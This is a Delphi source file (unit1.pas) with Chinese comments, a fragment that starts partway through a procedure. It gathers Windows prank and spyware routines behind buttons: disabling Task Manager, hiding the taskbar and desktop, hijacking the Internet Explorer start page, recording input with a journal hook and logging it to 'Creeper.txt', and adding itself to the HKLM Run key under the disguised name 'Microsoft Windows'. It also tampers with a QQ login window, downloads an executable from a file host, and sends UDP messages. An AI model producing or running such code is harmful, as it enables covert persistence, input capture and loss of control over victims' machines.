unit1.pas

这个是先生供奉

    begin
      if Key then
        Reg.WriteString('DisableTaskMgr','1')
      else
        Reg.WriteInteger('DisableTaskMgr',0);
      Reg.CloseKey;
    end;
  except
    Reg.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var//隐藏任务栏
wndHandle : THandle;
wndClass : array[0..50] of Char;
begin
StrPCopy(@wndClass[0], 'Shell_TrayWnd');
wndHandle := FindWindow(@wndClass[0], nil);
ShowWindow(wndHandle, SW_HIDE);
end;
procedure TForm1.Button2Click(Sender: TObject);
var//显示任务栏
wndHandle : THandle;
wndClass : array[0..50] of Char;
begin
StrPCopy(@wndClass[0], 'Shell_TrayWnd');
wndHandle := FindWindow(@wndClass[0], nil);
ShowWindow(wndHandle, SW_restore);
end;

procedure TForm1.Button5Click(Sender: TObject);
var
 p1,p2:tpoint;
 rect:trect;
begin
  p1.X:=button6.Left;
  p1.Y:=button6.Top;
  p2.X:=button6.Left+button6.Width;
  p2.Y:=button6.Top+button6.Height;
  windows.ClientToScreen(form1.Handle,p1);
  windows.ClientToScreen(form1.Handle,p2);
  rect.Left:=p1.X;
  rect.Top:=p1.Y;
  rect.Right:=p2.X;
  rect.bottom:=p2.Y;
  clipcursor(@rect);
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
clipcursor(nil);
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
killtask(edit1.Text);
end;

procedure TForm1.Button3Click(Sender: TObject);
  begin
ShowDesktop(false);
  end;
procedure TForm1.Button4Click(Sender: TObject);
begin
ShowDesktop(true);
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
ShutDownit;
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
Reboot;
end;

procedure TForm1.Button10Click(Sender: TObject);
  var name:pchar;
  size:dword;
begin
   getmem(name,255);
   if getcomputername(name,size)=false then
   begin  showmessage('获取失败');
   freemem(name);
   exit;
   end;
 edit2.text:=name;
 freemem(name);
end;

procedure TForm1.Button11Click(Sender: TObject);
  var name:string;
begin
   name:=edit2.text;
   if setcomputername(pchar(name))=false then
     showmessage('更改失败');
     exit;
end;
 //弹出光驱
procedure TForm1.Button12Click(Sender: TObject);
begin
mcisendstring('set cdaudio door open wait',nil,0,handle);
end;
 //关闭光驱
procedure TForm1.Button13Click(Sender: TObject);
begin
mcisendstring('set cdaudio door closed wait',nil,0,handle);
end;

procedure TForm1.Button14Click(Sender: TObject);
  var reg:tregistry;
begin
   reg:=tregistry.create;
   reg.rootkey:=hkey_current_user;
   reg.openkey('\software\microsoft\internet explorer\main',true);
   reg.writestring('Start Page',edit3.text);
   reg.closekey;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
label1.caption:=timetostr(time);
  if(timetostr(time)>'9:33:00') then
  begin
    edit4.text:='到时';
  end;
end;

procedure TForm1.Button15Click(Sender: TObject);
var
  MyStream: TMemoryStream;
  TmpStr: String;
Begin
  NMUDP1.ReportLevel := Status_Basic;
  NMUDP1.RemoteHost := Edit5.Text;
  TmpStr := Edit6.Text;
  MyStream := TMemoryStream.Create;
  try
    MyStream.Write(TmpStr[1], Length(Edit6.Text));
    NMUDP1.SendStream(MyStream);
  finally
    MyStream.Free;
  end;
end;

procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var
  MyStream: TMemoryStream;
  TmpStr: String;
begin
  MyStream := TMemoryStream.Create;
  try
    NMUDP1.ReadStream(MyStream);
    SetLength(TmpStr,NumberBytes);
    MyStream.Read(TmpStr[1],NumberBytes);
    edit5.text:=FromIP;
    Memo1.Lines.Add(FromIP+': '+TmpStr);
  finally
    MyStream.Free;
  end;
end;

procedure TForm1.NMUDP1DataSend(Sender: TObject);
begin
StatusBar1.SimpleText := 'Data Sent';
end;

procedure TForm1.NMUDP1InvalidHost(var handled: Boolean);
var
  TmpStr: String;
begin
  If InputQuery('错误的Host!', '请输入正确的IP:', TmpStr) then
  Begin
    NMUDP1.RemoteHost := TmpStr;
    Handled := TRUE;
  End;
end;

procedure TForm1.NMUDP1Status(Sender: TComponent; status: String);
begin
  If StatusBar1 <> nil then
    StatusBar1.SimpleText := status;
end;
//启动记录
procedure TForm1.Button16Click(Sender: TObject);
begin
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
end;
//停止记录
procedure TForm1.Button17Click(Sender: TObject);
begin
UnHookWindowsHookEx(hHook);
hHook := 0;
end;

procedure TForm1.Button18Click(Sender: TObject);
var
s:string;
begin
AssignFile(Creeper, 'Creeper.txt');
if FileExists('Creeper.txt')=false then
   ReWrite(Creeper);
append(Creeper);
try
s:=memo1.lines.Text ;
writeln(creeper,s);
finally
closefile(creeper);
end;
end;
procedure TForm1.Button19Click(Sender: TObject);
    const K = '\Software\Microsoft\Windows\CurrentVersion\Run';
begin
  with TRegistry.Create do
try
  RootKey := HKEY_LOCAL_MACHINE;
  OpenKey( k, TRUE );
  WriteString( 'Microsoft Windows', Application.Exename );
  finally
  free;
  end;
end;

procedure TForm1.Button20Click(Sender: TObject);
var qq,hc,he:hwnd ;
     wclassname:array[0..244] of char;
begin
    qq:=findwindow(nil,'qq用户登录');
   if  qq=0 then
    showmessage('失败')
    else
      begin
         showmessage('发了') ;
         hc:=getwindow(qq,gw_child);
         he:=getwindow(he,gw_hwndnext);
         getclassname(he,wclassname,sizeof(wclassname));
         getclassname(hc,wclassname,sizeof(wclassname));
         enablewindow(he,false);
       end;
end;

procedure TForm1.Button21Click(Sender: TObject);
const
    sourcefile='http://ys-c.ys168.com/?setup.exe_4shki9d7ehshkitnjsrmq0cnnqnp5b5bs7bt7bsp4bu01f20f01z';
    destfile='setup.exe';
begin
    if downloadfile(sourcefile,destfile) then
     showmessage('下载成功')
     else
      showmessage('失败');
end;

procedure TForm1.Button22Click(Sender: TObject);
begin
shellexecute(application.handle,pchar('open'),'D:\Program Files\QQ2006\QQ登录助手新春版.exe',pchar(''),nil,sw_normal);
end;

procedure TForm1.Button23Click(Sender: TObject);
   var
        Ip:string;
        Ipstr:string;
        Buffer:Array[1..32] of char;
        i:integer;
        WSData:TWSAdata;
        Host:PHostEnt;
begin
  if WSAstartup(2,WSData)<>0 then
        begin
            ShowMessage('WS2_32.DLL初始化失败!');
            halt;
        end;
        try
            if GetHostName(@Buffer[1],32)<>0 then
            begin
                ShowMessage('没有得到主机名!');
                halt;
            end;
        except
            ShowMessage('没有成功返回主机名');
            halt;
        end;
        Host := GetHostByName(@Buffer[1]);
        if Host = nil then
             begin
                ShowMessage('IP地址为空');
                halt;
             end
        else
             begin
                Edit2.Text := Host.h_name;
                Edit3.Text := Chr(Host.h_addrtype+64);
                for i:=1 to 4 do
                    begin
                        Ip:=IntToStr(Ord(Host.h_addr^[i-1]));
                       
                        if i<4 then
                           Ipstr := Ipstr + Ip + '.'
                        else
                           Edit1.Text:=Ipstr+Ip;
                        end;
                    end;
                WSACleanup;
             end;


end.